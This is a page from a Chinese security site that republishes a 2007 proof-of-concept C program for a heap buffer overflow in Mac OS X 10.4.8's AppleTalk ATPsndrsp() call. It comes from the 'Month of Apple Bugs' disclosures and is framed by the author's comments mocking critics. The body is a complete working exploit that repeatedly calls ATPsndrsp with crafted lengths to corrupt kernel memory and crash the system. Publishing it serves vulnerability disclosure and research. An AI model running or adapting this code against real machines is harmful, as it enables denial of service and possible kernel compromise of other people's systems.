首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X 10.4.8 AppleTalk ATPsndrsp() Heap Buffer Overflow PoC
来源:lmh [at] infopull.com 作者:LMH 发布时间:2007-01-16  

/* proof of concept for moab-14-01-2007
* Copyright (c) 2006, LMH <lmh [at] infopull.com>
* Shout outs to: icer, kf, ilja, hd, et al.
*
* free feedback samples for public consumption:
*
* "the panic() function takes a string for the reason the panic
* occurred. As you can see from the above, the reason us due to the
* fact the buffer size is absurd. The system caught this absurdity and
* handled it by calling panic().
* In other words, not capable of executing arbitrary code."
* -- Rosyna Keller, talking about allocbuf() failing due to allocation
* of a negative size buffer, caused by a simple integer overflow.
*
*
* ">LMH claims #10 leads to "potential arbitrary code execution." That's
* >not good enough where I come from. Either the arbitrary code executes,
* >or it doesn't. I may be talking thru my elbow, but I suggest the
* >absence of a working example of "arbitrary code execution" is that we
* >have caused a kernel panic, and stack based execution ceases."
* -- dinornis, stack based haxor in training.
*
*/

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <netat/appletalk.h>

int main(int argc, char **argv) {
int fd, retv, i;
unsigned int a, b;
char *powder;

if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
exit(1);

powder = malloc(6000);
memset(powder, 0x41, 5999);

for (i=0; i < 7000; i++) {
a = strlen(powder) - i;
b = i;
printf("powder@%p a=%u b=%u\n", powder, a, b);
retv = ATPsndrsp(fd, (unsigned char *)powder, a, b);
}

close(fd);
free(powder); // won't reach this unless appletalk is disabled
return 0;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VLC Media Player 0.8.6a Unspec
·Kaspersky Antivirus 6.0 Local
·BolinTech DreamFTP (USER) Remo
·TFTPDWIN 0.4.2 Remote Buffer O
·Sami FTP Server 2.0.2 (USER/PA
·KGB <= 1.9 (sesskglogadmin.
·WFTPD Pro Server <= 3.25 SI
·Mac OS X 10.4.8 Overwrite Setu
·JV2 Folder Gallery 3.0 (downlo
·MS Internet Explorer VML Remot
·ThWboard <= 3.0b2.84-php5 S
·Sami FTP Server 2.0.2 (USER/PA
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved